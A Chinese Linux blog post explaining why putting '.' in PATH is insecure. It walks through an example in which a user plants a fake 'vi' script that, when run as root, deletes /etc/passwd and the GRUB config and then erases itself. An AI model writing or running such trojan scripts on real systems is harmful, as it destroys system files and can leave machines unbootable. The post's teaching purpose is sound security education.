Chinaunix首页 | 论坛 | 博客
  • 博客访问: 70625
  • 博文数量: 9
  • 博客积分: 214
  • 博客等级: 入伍新兵
  • 技术积分: 95
  • 用 户 组: 普通用户
  • 注册时间: 2011-06-09 13:24
个人简介

hi,fuck u

文章分类
文章存档

2011年(9)

我的朋友

分类: LINUX

2011-09-18 09:26:24

可能很多人都知道将.加入PATH路径是不安全的做法,但未必很多人知道这样的做法为什么不安全。下面鄙人(哈哈)通过一个实际的案例来说明。
  
   首先我们假设我们系统有一个mark和badboy用户,mark作为系统管理员,但badboy平时和mark不合,心生怨恨,他想要给mark的系统管理工作搞些破坏(这人好奸诈),于是badboy在自己的家目录下建立了一个破坏脚本。请看下面。
[badboy@localhost ~]$ pwd
/home/badboy
[badboy@localhost ~]$ cat vi
#!/bin/bash
/bin/vi   # 执行正常的vi命令,mark不会发觉。
    case $(whoami) in #如果是root用户
   root)  #删除存放所用用户的密码文件(好邪恶)
          rm -f  /etc/passwd  
          #删除引导文件。重启后机器必须手工引导(这个更邪恶)
          rm  -f  /boot/grub/grub.conf  
          # 销毁证据,badboy的反侦察能力很强!
          rm -f   /home/badboy/vi
          ;;
esac

   如果哪天管理员mark 使用 su root命令进入了badboy的家目录,并且执行了vi命令,badboy会奸笑的恭喜mark中招了。下面我演示一下mark中招的过程。

[mark@localhost ~]$ echo $PATH
:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/mark/bin #.在当前目录并在首位。
[mark@localhost ~]$ su root                       #root将继承mark的PATH路径
口令:
[root@localhost mark]# cd /home/badboy
[root@localhost badboy]# vi info             
the terrible things happend!!!

"info" [New] 1L, 31C written
[root@localhost badboy]# cat /etc/passwd
cat: /etc/passwd: 没有那个文件或目录                  #passed已被删除
[root@localhost badboy]# cat /boot/grub/grub.conf
cat: /boot/grub/grub.conf: 没有那个文件或目录          #引导文件也已被删除
[root@localhost badboy]# ls 
info                                              #罪证也已被删除
 
  从上面的列子可以看出, 将.加入PATH 是很不安全的。呵呵。其次作为管理员,/etc/目录一定要备份奥,这个目录是灰常的重要哈。
 
  

      
                                                  
阅读(3085) | 评论(0) | 转发(0) |
0

上一篇:没有了

下一篇:访问shell脚本参数

给主人留下些什么吧!~~